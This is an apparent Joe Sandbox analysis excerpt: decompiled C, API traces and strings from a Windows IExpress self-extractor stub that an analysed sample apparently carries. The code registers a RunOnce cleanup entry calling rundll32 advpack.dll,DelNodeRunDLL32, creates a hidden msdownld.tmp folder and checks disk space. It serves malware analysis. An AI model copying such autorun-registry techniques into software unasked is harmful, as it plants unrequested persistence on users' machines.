				intOrPtr* _t72;
				void* _t73;
				void* _t75;
				void* _t80;
				intOrPtr* _t81;
				void* _t86;
				void* _t87;
				void* _t90;
				_Unknown_base(*)()* _t91;
				signed int _t93;
				void* _t94;
				void* _t95;

				_t79 = __edx;
				_t28 =  *0xf88004; // 0x644c7055
				_v8 = _t28 ^ _t93;
				_t84 = 0x104;
				memset( &_v268, 0, 0x104);
				memset( &_v528, 0, 0x104);
				_t95 = _t94 + 0x18;
				_t66 = 0;
				_t36 = RegCreateKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0, 0, 0x2001f, 0,  &_v532,  &_v536); // executed
				if(_t36 != 0) {
					L24:
					return E00F86CE0(_t36, _t66, _v8 ^ _t93, _t79, _t84, _t86);
				}
				_push(_t86);
				_t87 = 0;
				while(1) {
					E00F8171E("wextract_cleanup1", 0x50, "wextract_cleanup%d", _t87);
					_t95 = _t95 + 0x10;
					_t41 = RegQueryValueExA(_v532, "wextract_cleanup1", 0, 0, 0,  &_v540); // executed
					if(_t41 != 0) {
						break;
					}
					_t87 = _t87 + 1;
					if(_t87 < 0xc8) {
						continue;
					}
					break;
				}
				if(_t87 != 0xc8) {
					GetSystemDirectoryA( &_v528, _t84);
					_t79 = _t84;
					E00F8658A( &_v528, _t84, "advpack.dll");
					_t46 = LoadLibraryA( &_v528); // executed
					_t84 = _t46;
					if(_t84 == 0) {
						L10:
						if(GetModuleFileNameA( *0xf89a3c,  &_v268, 0x104) == 0) {
							L17:
							_t36 = RegCloseKey(_v532);
							L23:
							_pop(_t86);
							goto L24;
						}
						L11:
						_t72 =  &_v268;
						_t80 = _t72 + 1;
						do {
							_t49 =  *_t72;
							_t72 = _t72 + 1;
						} while (_t49 != 0);
						_t73 = _t72 - _t80;
						_t81 = 0xf891e4;
						do {
							_t50 =  *_t81;
							_t81 = _t81 + 1;
						} while (_t50 != 0);
						_t84 = _t73 + 0x50 + _t81 - 0xf891e5;
						_t90 = LocalAlloc(0x40, _t73 + 0x50 + _t81 - 0xf891e5);
						if(_t90 != 0) {
							 *0xf88580 = _t66 ^ 0x00000001;
							_t54 = "rundll32.exe %sadvpack.dll,DelNodeRunDLL32 \"%s\"";
							if(_t66 == 0) {
								_t54 = "%s /D:%s";
							}
							_push("C:\Users\hardz\AppData\Local\Temp\IXP001.TMP\");
							E00F8171E(_t90, _t84, _t54,  &_v268);
							_t75 = _t90;
							_t23 = _t75 + 1; // 0x1
							_t79 = _t23;
							do {
								_t56 =  *_t75;
								_t75 = _t75 + 1;
							} while (_t56 != 0);
							_t24 = _t75 - _t79 + 1; // 0x2
							RegSetValueExA(_v532, "wextract_cleanup1", 0, 1, _t90, _t24); // executed
							RegCloseKey(_v532); // executed
							_t36 = LocalFree(_t90);
							goto L23;
						}
						_t79 = 0x4b5;
						E00F844B9(0, 0x4b5, _t51, _t51, 0x10, _t51);
						goto L17;
					}
					_t91 = GetProcAddress(_t84, "DelNodeRunDLL32");
					_t66 = 0 | _t91 != 0x00000000;
					FreeLibrary(_t84); // executed
					if(_t91 == 0) {
						goto L10;
					}
					if(GetSystemDirectoryA( &_v268, 0x104) != 0) {
						E00F8658A( &_v268, 0x104, 0xf81140);
					}
					goto L11;
				}
				_t36 = RegCloseKey(_v532);
				 *0xf88530 = _t66;
				goto L23;
			}

0x00f8202a
0x00f82035
0x00f8203c
0x00f82041
0x00f82050
0x00f8205f
0x00f82064
0x00f8206f
0x00f8208c
0x00f82094
0x00f82257
0x00f82266
0x00f82266
0x00f8209a
0x00f8209b
0x00f8209d
0x00f820aa
0x00f820af
0x00f820c9
0x00f820d1
0x00000000
0x00000000
0x00f820d3
0x00f820da
0x00000000
0x00000000
0x00000000
0x00f820da
0x00f820e2
0x00f82103
0x00f8210e
0x00f82116
0x00f82122
0x00f82128
0x00f8212c
0x00f82179
0x00f82194
0x00f821de
0x00f821e4
0x00f82256
0x00f82256
0x00000000
0x00f82256
0x00f82196
0x00f82196
0x00f8219c
0x00f8219f
0x00f8219f
0x00f821a1
0x00f821a2
0x00f821a6
0x00f821a8
0x00f821b0
0x00f821b0
0x00f821b2
0x00f821b3
0x00f821bc
0x00f821c7
0x00f821cb
0x00f821f1
0x00f821f6
0x00f821fd
0x00f821ff
0x00f821ff
0x00f82204
0x00f82213
0x00f82218
0x00f8221d
0x00f8221d
0x00f82220
0x00f82220
0x00f82222
0x00f82223
0x00f82229
0x00f8223d
0x00f82249
0x00f82250
0x00000000
0x00f82250
0x00f821d2
0x00f821d9
0x00000000
0x00f821d9
0x00f8213a
0x00f82141
0x00f82144
0x00f8214c
0x00000000
0x00000000
0x00f82163
0x00f82172
0x00f82172
0x00000000
0x00f82163
0x00f820ea
0x00f820f0
0x00000000

APIs

memset.MSVCRT ref: 00F82050
memset.MSVCRT ref: 00F8205F
RegCreateKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00000000,00000000,0002001F,00000000,?,?,?,?,?,?,00000000,00000000), ref: 00F8208C

Part of subcall function 00F8171E: _vsnprintf.MSVCRT ref: 00F81750

RegQueryValueExA.KERNELBASE(?,wextract_cleanup1,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F820C9
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F820EA
GetSystemDirectoryA.KERNEL32 ref: 00F82103
LoadLibraryA.KERNELBASE(?,advpack.dll,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F82122
GetProcAddress.KERNEL32(00000000,DelNodeRunDLL32), ref: 00F82134
FreeLibrary.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F82144
GetSystemDirectoryA.KERNEL32 ref: 00F8215B
GetModuleFileNameA.KERNEL32(?,00000104,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F8218C
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F821C1
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F821E4
RegSetValueExA.KERNELBASE(?,wextract_cleanup1,00000000,00000001,00000000,00000002,?,?,?,?,?,?,?,?,?), ref: 00F8223D
RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F82249
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F82250

Strings

%s /D:%s, xrefs: 00F821FF, 00F82210
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 00F821F6
DelNodeRunDLL32, xrefs: 00F8212E
wextract_cleanup%d, xrefs: 00F8209E
wextract_cleanup1, xrefs: 00F820A5, 00F820BE, 00F820F0, 00F82232
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00F82082
advpack.dll, xrefs: 00F82109
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F821A8, 00F82204

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: Close$DirectoryFreeLibraryLocalSystemValuememset$AddressAllocCreateFileLoadModuleNameProcQuery_vsnprintf
String ID: %s /D:%s$C:\Users\user\AppData\Local\Temp\IXP001.TMP\$DelNodeRunDLL32$Software\Microsoft\Windows\CurrentVersion\RunOnce$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup%d$wextract_cleanup1
API String ID: 178549006-850274211
Opcode ID: fd6663e54b9b195fc5ccb77196dc5fc40fda38d6e7488c2591b08e70c146e0d3
Instruction ID: 6b316da6f59a7a3cf4263eab61548626dd7e162b3abf940f31fbbe296dc1fa0f
Opcode Fuzzy Hash: fd6663e54b9b195fc5ccb77196dc5fc40fda38d6e7488c2591b08e70c146e0d3
Instruction Fuzzy Hash: 1F511572A00218ABEB20BF60DC4DFFB777CEB40750F1401A9FA05E7151DA75AE45AB61

Uniqueness

Uniqueness Score: -1.00%

Function 00F855A0 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 248
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E00F855A0(void* __eflags) {
				signed int _v8;
				char _v265;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t28;
				int _t32;
				int _t33;
				int _t35;
				signed int _t36;
				signed int _t38;
				int _t40;
				int _t44;
				long _t48;
				int _t49;
				int _t50;
				signed int _t53;
				int _t54;
				int _t59;
				char _t60;
				int _t65;
				char _t66;
				int _t67;
				int _t68;
				int _t69;
				int _t70;
				int _t71;
				struct _SECURITY_ATTRIBUTES* _t72;
				int _t73;
				CHAR* _t82;
				CHAR* _t88;
				void* _t103;
				signed int _t110;

				_t28 =  *0xf88004; // 0x644c7055
				_v8 = _t28 ^ _t110;
				_t2 = E00F8468F("RUNPROGRAM", 0, 0) + 1; // 0x1
				_t109 = LocalAlloc(0x40, _t2);
				if(_t109 != 0) {
					_t82 = "RUNPROGRAM";
					_t32 = E00F8468F(_t82, _t109, 1);
					__eflags = _t32;
					if(_t32 != 0) {
						_t33 = lstrcmpA(_t109, "<None>");
						__eflags = _t33;
						if(_t33 == 0) {
							 *0xf89a30 = 1;
						}
						LocalFree(_t109);
						_t35 =  *0xf88b3e; // 0x0
						__eflags = _t35;
						if(_t35 == 0) {
							__eflags =  *0xf88a24; // 0x0
							if(__eflags != 0) {
								L46:
								_t101 = 0x7d2;
								_t36 = E00F86517(_t82, 0x7d2, 0, E00F83210, 0, 0);
								asm("sbb eax, eax");
								_t38 =  ~( ~_t36);
							} else {
								__eflags =  *0xf89a30; // 0x0
								if(__eflags != 0) {
									goto L46;
								} else {
									_t109 = 0xf891e4;
									_t40 = GetTempPathA(0x104, 0xf891e4); // executed
									__eflags = _t40;
									if(_t40 == 0) {
										L19:
										_push(_t82);
										E00F81781( &_v268, 0x104, _t82, "A:\\");
										__eflags = _v268 - 0x5a;
										if(_v268 <= 0x5a) {
											do {
												_t109 = GetDriveTypeA( &_v268);
												__eflags = _t109 - 6;
												if(_t109 == 6) {
													L22:
													_t48 = GetFileAttributesA( &_v268);
													__eflags = _t48 - 0xffffffff;
													if(_t48 != 0xffffffff) {
														goto L30;
													} else {
														goto L23;
													}
												} else {
													__eflags = _t109 - 3;
													if(_t109 != 3) {
														L23:
														__eflags = _t109 - 2;
														if(_t109 != 2) {
															L28:
															_t66 = _v268;
															goto L29;
														} else {
															_t66 = _v268;
															__eflags = _t66 - 0x41;
															if(_t66 == 0x41) {
																L29:
																_t60 = _t66 + 1;
																_v268 = _t60;
																goto L42;
															} else {
																__eflags = _t66 - 0x42;
																if(_t66 == 0x42) {
																	goto L29;
																} else {
																	_t68 = E00F86952( &_v268);
																	__eflags = _t68;
																	if(_t68 == 0) {
																		goto L28;
																	} else {
																		__eflags = _t68 - 0x19000;
																		if(_t68 >= 0x19000) {
																			L30:
																			_push(0);
																			_t103 = 3;
																			_t49 = E00F8597D( &_v268, _t103, 1);
																			__eflags = _t49;
																			if(_t49 != 0) {
																				L33:
																				_t50 = E00F82630(0,  &_v268, 1);
																				__eflags = _t50;
																				if(_t50 != 0) {
																					GetWindowsDirectoryA( &_v268, 0x104);
																				}
																				_t88 =  &_v268;
																				E00F8658A(_t88, 0x104, "msdownld.tmp");
																				_t53 = GetFileAttributesA( &_v268);
																				__eflags = _t53 - 0xffffffff;
																				if(_t53 != 0xffffffff) {
																					_t54 = _t53 & 0x00000010;
																					__eflags = _t54;
																				} else {
																					_t54 = CreateDirectoryA( &_v268, 0);
																				}
																				__eflags = _t54;
																				if(_t54 != 0) {
																					SetFileAttributesA( &_v268, 2);
																					_push(_t88);
																					_t109 = 0xf891e4;
																					E00F81781(0xf891e4, 0x104, _t88,  &_v268);
																					_t101 = 1;
																					_t59 = E00F85467(0xf891e4, 1, 0);
																					__eflags = _t59;
																					if(_t59 != 0) {
																						goto L45;
																					} else {
																						_t60 = _v268;
																						goto L42;
																					}
																				} else {
																					_t60 = _v268 + 1;
																					_v265 = 0;
																					_v268 = _t60;
																					goto L42;
																				}
																			} else {
																				_t65 = E00F82630(0,  &_v268, 1);
																				__eflags = _t65;
																				if(_t65 != 0) {
																					goto L28;
																				} else {
																					_t67 = E00F8597D( &_v268, 1, 1, 0);
																					__eflags = _t67;
																					if(_t67 == 0) {
																						goto L28;
																					} else {
																						goto L33;
																					}
																				}
																			}
																		} else {
																			goto L28;
																		}
																	}
																}
															}
														}
													} else {
														goto L22;
													}
												}
												goto L47;
												L42:
												__eflags = _t60 - 0x5a;
											} while (_t60 <= 0x5a);
										}
										goto L43;
									} else {
										_t101 = 1;
										_t69 = E00F85467(0xf891e4, 1, 3); // executed
										__eflags = _t69;
										if(_t69 != 0) {
											goto L45;
										} else {
											_t82 = 0xf891e4;
											_t70 = E00F82630(0, 0xf891e4, 1);
											__eflags = _t70;
											if(_t70 != 0) {
												goto L19;
											} else {
												_t101 = 1;
												_t82 = 0xf891e4;
												_t71 = E00F85467(0xf891e4, 1, 1);
												__eflags = _t71;
												if(_t71 != 0) {
													goto L45;
												} else {
													do {
														goto L19;
														L43:
														GetWindowsDirectoryA( &_v268, 0x104);
														_push(4);
														_t101 = 3;
														_t82 =  &_v268;
														_t44 = E00F8597D(_t82, _t101, 1);
														__eflags = _t44;
													} while (_t44 != 0);
													goto L2;
												}
											}
										}
									}
								}
							}
						} else {
							__eflags = _t35 - 0x5c;
							if(_t35 != 0x5c) {
								L10:
								_t72 = 1;
							} else {
								__eflags =  *0xf88b3f - _t35; // 0x0
								_t72 = 0;
								if(__eflags != 0) {
									goto L10;
								}
							}
							_t101 = 0;
							_t73 = E00F85467(0xf88b3e, 0, _t72);
							__eflags = _t73;
							if(_t73 != 0) {
								L45:
								_t38 = 1;
							} else {
								_t101 = 0x4be;
								E00F844B9(0, 0x4be, 0, 0, 0x10, 0);
								goto L2;
							}
						}
					} else {
						_t101 = 0x4b1;
						E00F844B9(0, 0x4b1, 0, 0, 0x10, 0);
						LocalFree(_t109);
						 *0xf89124 = 0x80070714;
						goto L2;
					}
				} else {
					_t101 = 0x4b5;
					E00F844B9(0, 0x4b5, 0, 0, 0x10, 0);
					 *0xf89124 = E00F86285();
					L2:
					_t38 = 0;
				}
				L47:
				return E00F86CE0(_t38, 0, _v8 ^ _t110, _t101, 1, _t109);
			}

0x00f855ab
0x00f855b2
0x00f855c9
0x00f855d5
0x00f855d9
0x00f85600
0x00f85605
0x00f8560a
0x00f8560c
0x00f85638
0x00f85641
0x00f85643
0x00f85645
0x00f85645
0x00f8564c
0x00f85652
0x00f85657
0x00f85659
0x00f85696
0x00f8569c
0x00f8589f
0x00f858a7
0x00f858ac
0x00f858b3
0x00f858b5
0x00f856a2
0x00f856a2
0x00f856a8
0x00000000
0x00f856ae
0x00f856ae
0x00f856b9
0x00f856bf
0x00f856c1
0x00f856f3
0x00f856f3
0x00f85705
0x00f8570a
0x00f85711
0x00f85717
0x00f85724
0x00f85726
0x00f85729
0x00f85730
0x00f85737
0x00f8573d
0x00f85740
0x00000000
0x00000000
0x00000000
0x00000000
0x00f8572b
0x00f8572b
0x00f8572e
0x00f85742
0x00f85742
0x00f85745
0x00f8576b
0x00f8576b
0x00000000
0x00f85747
0x00f85747
0x00f8574d
0x00f8574f
0x00f85771
0x00f85771
0x00f85773
0x00000000
0x00f85751
0x00f85751
0x00f85753
0x00000000
0x00f85755
0x00f8575b
0x00f85760
0x00f85762
0x00000000
0x00f85764
0x00f85764
0x00f85769
0x00f8577e
0x00f8577e
0x00f85781
0x00f85788
0x00f8578d
0x00f8578f
0x00f857b2
0x00f857b8
0x00f857bd
0x00f857bf
0x00f857cd
0x00f857cd
0x00f857dd
0x00f857e3
0x00f857ef
0x00f857f5
0x00f857f8
0x00f8580a
0x00f8580a
0x00f857fa
0x00f85802
0x00f85802
0x00f8580d
0x00f8580f
0x00f85830
0x00f85836
0x00f8583d
0x00f8584b
0x00f85851
0x00f85855
0x00f8585a
0x00f8585c
0x00000000
0x00f8585e
0x00f8585e
0x00000000
0x00f8585e
0x00f85811
0x00f85817
0x00f85819
0x00f8581f
0x00000000
0x00f8581f
0x00f85791
0x00f85797
0x00f8579c
0x00f8579e
0x00000000
0x00f857a0
0x00f857a9
0x00f857ae
0x00f857b0
0x00000000
0x00000000
0x00000000
0x00000000
0x00f857b0
0x00f8579e
0x00000000
0x00000000
0x00000000
0x00f85769
0x00f85762
0x00f85753
0x00f8574f
0x00000000
0x00000000
0x00000000
0x00f8572e
0x00000000
0x00f85864
0x00f85864
0x00f85864
0x00f85717
0x00000000
0x00f856c3
0x00f856c5
0x00f856c9
0x00f856ce
0x00f856d0
0x00000000
0x00f856d6
0x00f856d6
0x00f856d8
0x00f856dd
0x00f856df
0x00000000
0x00f856e1
0x00f856e2
0x00f856e4
0x00f856e6
0x00f856eb
0x00f856ed
0x00000000
0x00f856f3
0x00f856f3
0x00000000
0x00f8586c
0x00f85878
0x00f8587e
0x00f85882
0x00f85883
0x00f85889
0x00f8588e
0x00f8588e
0x00000000
0x00f85896
0x00f856ed
0x00f856df
0x00f856d0
0x00f856c1
0x00f856a8
0x00f8565b
0x00f8565b
0x00f8565d
0x00f85669
0x00f85669
0x00f8565f
0x00f8565f
0x00f85665
0x00f85667
0x00000000
0x00000000
0x00f85667
0x00f8566c
0x00f85673
0x00f85678
0x00f8567a
0x00f8589b
0x00f8589b
0x00f85680
0x00f85685
0x00f8568c
0x00000000
0x00f8568c
0x00f8567a
0x00f8560e
0x00f85613
0x00f8561a
0x00f85620
0x00f85626
0x00000000
0x00f85626
0x00f855db
0x00f855e0
0x00f855e7
0x00f855f1
0x00f855f6
0x00f855f6
0x00f855f6
0x00f858b7
0x00f858c7

APIs

Part of subcall function 00F8468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F846A0
Part of subcall function 00F8468F: SizeofResource.KERNEL32(00000000,00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846A9
Part of subcall function 00F8468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F846C3
Part of subcall function 00F8468F: LoadResource.KERNEL32(00000000,00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846CC
Part of subcall function 00F8468F: LockResource.KERNEL32(00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846D3
Part of subcall function 00F8468F: memcpy_s.MSVCRT ref: 00F846E5
Part of subcall function 00F8468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000), ref: 00F855CF
lstrcmpA.KERNEL32(00000000,<None>,00000000), ref: 00F85638
LocalFree.KERNEL32(00000000), ref: 00F8564C
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 00F85620

Part of subcall function 00F844B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F84518
Part of subcall function 00F844B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 00F84554

Part of subcall function 00F86285: GetLastError.KERNEL32(00F85BBC), ref: 00F86285

GetTempPathA.KERNELBASE(00000104,C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 00F856B9
GetDriveTypeA.KERNEL32(0000005A,?,A:\), ref: 00F8571E
GetFileAttributesA.KERNEL32(0000005A,?,A:\), ref: 00F85737
GetWindowsDirectoryA.KERNEL32(0000005A,00000104,00000000,?,A:\), ref: 00F857CD
GetFileAttributesA.KERNEL32(0000005A,msdownld.tmp,00000000,?,A:\), ref: 00F857EF
CreateDirectoryA.KERNEL32(0000005A,00000000,?,A:\), ref: 00F85802

Part of subcall function 00F82630: GetWindowsDirectoryA.KERNEL32(?,00000104,00000000), ref: 00F82654

SetFileAttributesA.KERNEL32(0000005A,00000002,?,A:\), ref: 00F85830

Part of subcall function 00F86517: FindResourceA.KERNEL32(00F80000,000007D6,00000005), ref: 00F8652A
Part of subcall function 00F86517: LoadResource.KERNEL32(00F80000,00000000,?,?,00F82EE8,00000000,00F819E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00F86538
Part of subcall function 00F86517: DialogBoxIndirectParamA.USER32(00F80000,00000000,00000547,00F819E0,00000000), ref: 00F86557
Part of subcall function 00F86517: FreeResource.KERNEL32(00000000,?,?,00F82EE8,00000000,00F819E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00F86560

GetWindowsDirectoryA.KERNEL32(0000005A,00000104,?,A:\), ref: 00F85878

Part of subcall function 00F8597D: GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 00F859A8
Part of subcall function 00F8597D: SetCurrentDirectoryA.KERNELBASE(?), ref: 00F859AF

Strings

<None>, xrefs: 00F85632
Z, xrefs: 00F8570A
msdownld.tmp, xrefs: 00F857D3
A:\, xrefs: 00F856F4
RUNPROGRAM, xrefs: 00F855BD, 00F85600
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F856AE, 00F856B3, 00F8583D

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: Resource$Directory$Free$AttributesFileFindLoadLocalWindows$Current$AllocCreateDialogDriveErrorIndirectLastLockMessageParamPathSizeofStringTempTypelstrcmpmemcpy_s
String ID: <None>$A:\$C:\Users\user\AppData\Local\Temp\IXP001.TMP\$RUNPROGRAM$Z$msdownld.tmp
API String ID: 2436801531-337015389
Opcode ID: 90338385525e3856d1e0ba5a6dc04f832afbf9cf77ac0fe1a93160b2ce048e30
Instruction ID: e9d0b85950076327f5867745168dc9044b6e566591497be0af7a2b04e7a98adc
Opcode Fuzzy Hash: 90338385525e3856d1e0ba5a6dc04f832afbf9cf77ac0fe1a93160b2ce048e30
Instruction Fuzzy Hash: 95814C71E04A099BEB20BB708C85BFE72AD9F50B50F4401A6F586D6191EF78CDC6BB11

Uniqueness

Uniqueness Score: -1.00%

Function 00F8597D Relevance: 19.7, APIs: 13, Instructions: 212
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E00F8597D(CHAR* __ecx, signed char __edx, void* __edi, intOrPtr _a4) {
				signed int _v8;
				char _v16;
				char _v276;
				char _v788;
				long _v792;
				long _v796;
				long _v800;
				signed int _v804;
				long _v808;
				int _v812;
				long _v816;
				long _v820;
				void* __ebx;
				void* __esi;
				signed int _t46;
				int _t50;
				signed int _t55;
				void* _t66;
				int _t69;
				signed int _t73;
				signed short _t78;
				signed int _t87;
				signed int _t101;
				int _t102;
				unsigned int _t103;
				unsigned int _t105;
				signed int _t111;
				long _t112;
				signed int _t116;
				CHAR* _t118;
				signed int _t119;
				signed int _t120;

				_t114 = __edi;
				_t46 =  *0xf88004; // 0x644c7055
				_v8 = _t46 ^ _t120;
				_v804 = __edx;
				_t118 = __ecx;
				GetCurrentDirectoryA(0x104,  &_v276);
				_t50 = SetCurrentDirectoryA(_t118); // executed
				if(_t50 != 0) {
					_push(__edi);
					_v796 = 0;
					_v792 = 0;
					_v800 = 0;
					_v808 = 0;
					_t55 = GetDiskFreeSpaceA(0,  &_v796,  &_v792,  &_v800,  &_v808); // executed
					__eflags = _t55;
					if(_t55 == 0) {
						L29:
						memset( &_v788, 0, 0x200);
						 *0xf89124 = E00F86285();
						FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v788, 0x200, 0);
						_t110 = 0x4b0;
						L30:
						__eflags = 0;
						E00F844B9(0, _t110, _t118,  &_v788, 0x10, 0);
						SetCurrentDirectoryA( &_v276);
						L31:
						_t66 = 0;
						__eflags = 0;
						L32:
						_pop(_t114);
						goto L33;
					}
					_t69 = _v792 * _v796;
					_v812 = _t69;
					_t116 = MulDiv(_t69, _v800, 0x400);
					__eflags = _t116;
					if(_t116 == 0) {
						goto L29;
					}
					_t73 = GetVolumeInformationA(0, 0, 0, 0,  &_v820,  &_v816, 0, 0); // executed
					__eflags = _t73;
					if(_t73 != 0) {
						SetCurrentDirectoryA( &_v276); // executed
						_t101 =  &_v16;
						_t111 = 6;
						_t119 = _t118 - _t101;
						__eflags = _t119;
						while(1) {
							_t22 = _t111 - 4; // 0x2
							__eflags = _t22;
							if(_t22 == 0) {
								break;
							}
							_t87 =  *((intOrPtr*)(_t119 + _t101));
							__eflags = _t87;
							if(_t87 == 0) {
								break;
							}
							 *_t101 = _t87;
							_t101 = _t101 + 1;
							_t111 = _t111 - 1;
							__eflags = _t111;
							if(_t111 != 0) {
								continue;
							}
							break;
						}
						__eflags = _t111;
						if(_t111 == 0) {
							_t101 = _t101 - 1;
							__eflags = _t101;
						}
						 *_t101 = 0;
						_t112 = 0x200;
						_t102 = _v812;
						_t78 = 0;
						_t118 = 8;
						while(1) {
							__eflags = _t102 - _t112;
							if(_t102 == _t112) {
								break;
							}
							_t112 = _t112 + _t112;
							_t78 = _t78 + 1;
							__eflags = _t78 - _t118;
							if(_t78 < _t118) {
								continue;
							}
							break;
						}
						__eflags = _t78 - _t118;
						if(_t78 != _t118) {
							__eflags =  *0xf89a34 & 0x00000008;
							if(( *0xf89a34 & 0x00000008) == 0) {
								L20:
								_t103 =  *0xf89a38; // 0x0
								_t110 =  *((intOrPtr*)(0xf889e0 + (_t78 & 0x0000ffff) * 4));
								L21:
								__eflags = (_v804 & 0x00000003) - 3;
								if((_v804 & 0x00000003) != 3) {
									__eflags = _v804 & 0x00000001;
									if((_v804 & 0x00000001) == 0) {
										__eflags = _t103 - _t116;
									} else {
										__eflags = _t110 - _t116;
									}
								} else {
									__eflags = _t103 + _t110 - _t116;
								}
								if(__eflags <= 0) {
									 *0xf89124 = 0;
									_t66 = 1;
								} else {
									_t66 = E00F8268B(_a4, _t110, _t103,  &_v16);
								}
								goto L32;
							}
							__eflags = _v816 & 0x00008000;
							if((_v816 & 0x00008000) == 0) {
								goto L20;
							}
							_t105 =  *0xf89a38; // 0x0
							_t110 =  *((intOrPtr*)(0xf889e0 + (_t78 & 0x0000ffff) * 4)) +  *((intOrPtr*)(0xf889e0 + (_t78 & 0x0000ffff) * 4));
							_t103 = (_t105 >> 2) +  *0xf89a38;
							goto L21;
						}
						_t110 = 0x4c5;
						E00F844B9(0, 0x4c5, 0, 0, 0x10, 0);
						goto L31;
					}
					memset( &_v788, 0, 0x200);
					 *0xf89124 = E00F86285();
					FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v788, 0x200, 0);
					_t110 = 0x4f9;
					goto L30;
				} else {
					_t110 = 0x4bc;
					E00F844B9(0, 0x4bc, 0, 0, 0x10, 0);
					 *0xf89124 = E00F86285();
					_t66 = 0;
					L33:
					return E00F86CE0(_t66, 0, _v8 ^ _t120, _t110, _t114, _t118);
				}
			}

0x00f8597d
0x00f85988
0x00f8598f
0x00f8599a
0x00f859a6
0x00f859a8
0x00f859af
0x00f859b9
0x00f859dd
0x00f859e4
0x00f859f1
0x00f859fe
0x00f85a0b
0x00f85a13
0x00f85a19
0x00f85a1b
0x00f85ba1
0x00f85baf
0x00f85bbd
0x00f85bd8
0x00f85bde
0x00f85be3
0x00f85bec
0x00f85bf0
0x00f85bfc
0x00f85c02
0x00f85c02
0x00f85c02
0x00f85c04
0x00f85c04
0x00000000
0x00f85c04
0x00f85a27
0x00f85a3a
0x00f85a46
0x00f85a48
0x00f85a4a
0x00000000
0x00000000
0x00f85a64
0x00f85a6a
0x00f85a6c
0x00f85abc
0x00f85ac2
0x00f85ac9
0x00f85aca
0x00f85aca
0x00f85acc
0x00f85acc
0x00f85acf
0x00f85ad1
0x00000000
0x00000000
0x00f85ad3
0x00f85ad6
0x00f85ad8
0x00000000
0x00000000
0x00f85ada
0x00f85adc
0x00f85add
0x00f85add
0x00f85ae0
0x00000000
0x00000000
0x00000000
0x00f85ae0
0x00f85ae2
0x00f85ae4
0x00f85ae6
0x00f85ae6
0x00f85ae6
0x00f85ae9
0x00f85aeb
0x00f85af0
0x00f85af6
0x00f85af8
0x00f85af9
0x00f85af9
0x00f85afb
0x00000000
0x00000000
0x00f85afd
0x00f85aff
0x00f85b00
0x00f85b03
0x00000000
0x00000000
0x00000000
0x00f85b03
0x00f85b05
0x00f85b08
0x00f85b20
0x00f85b27
0x00f85b52
0x00f85b52
0x00f85b5b
0x00f85b62
0x00f85b6b
0x00f85b6d
0x00f85b76
0x00f85b7d
0x00f85b83
0x00f85b7f
0x00f85b7f
0x00f85b7f
0x00f85b6f
0x00f85b72
0x00f85b72
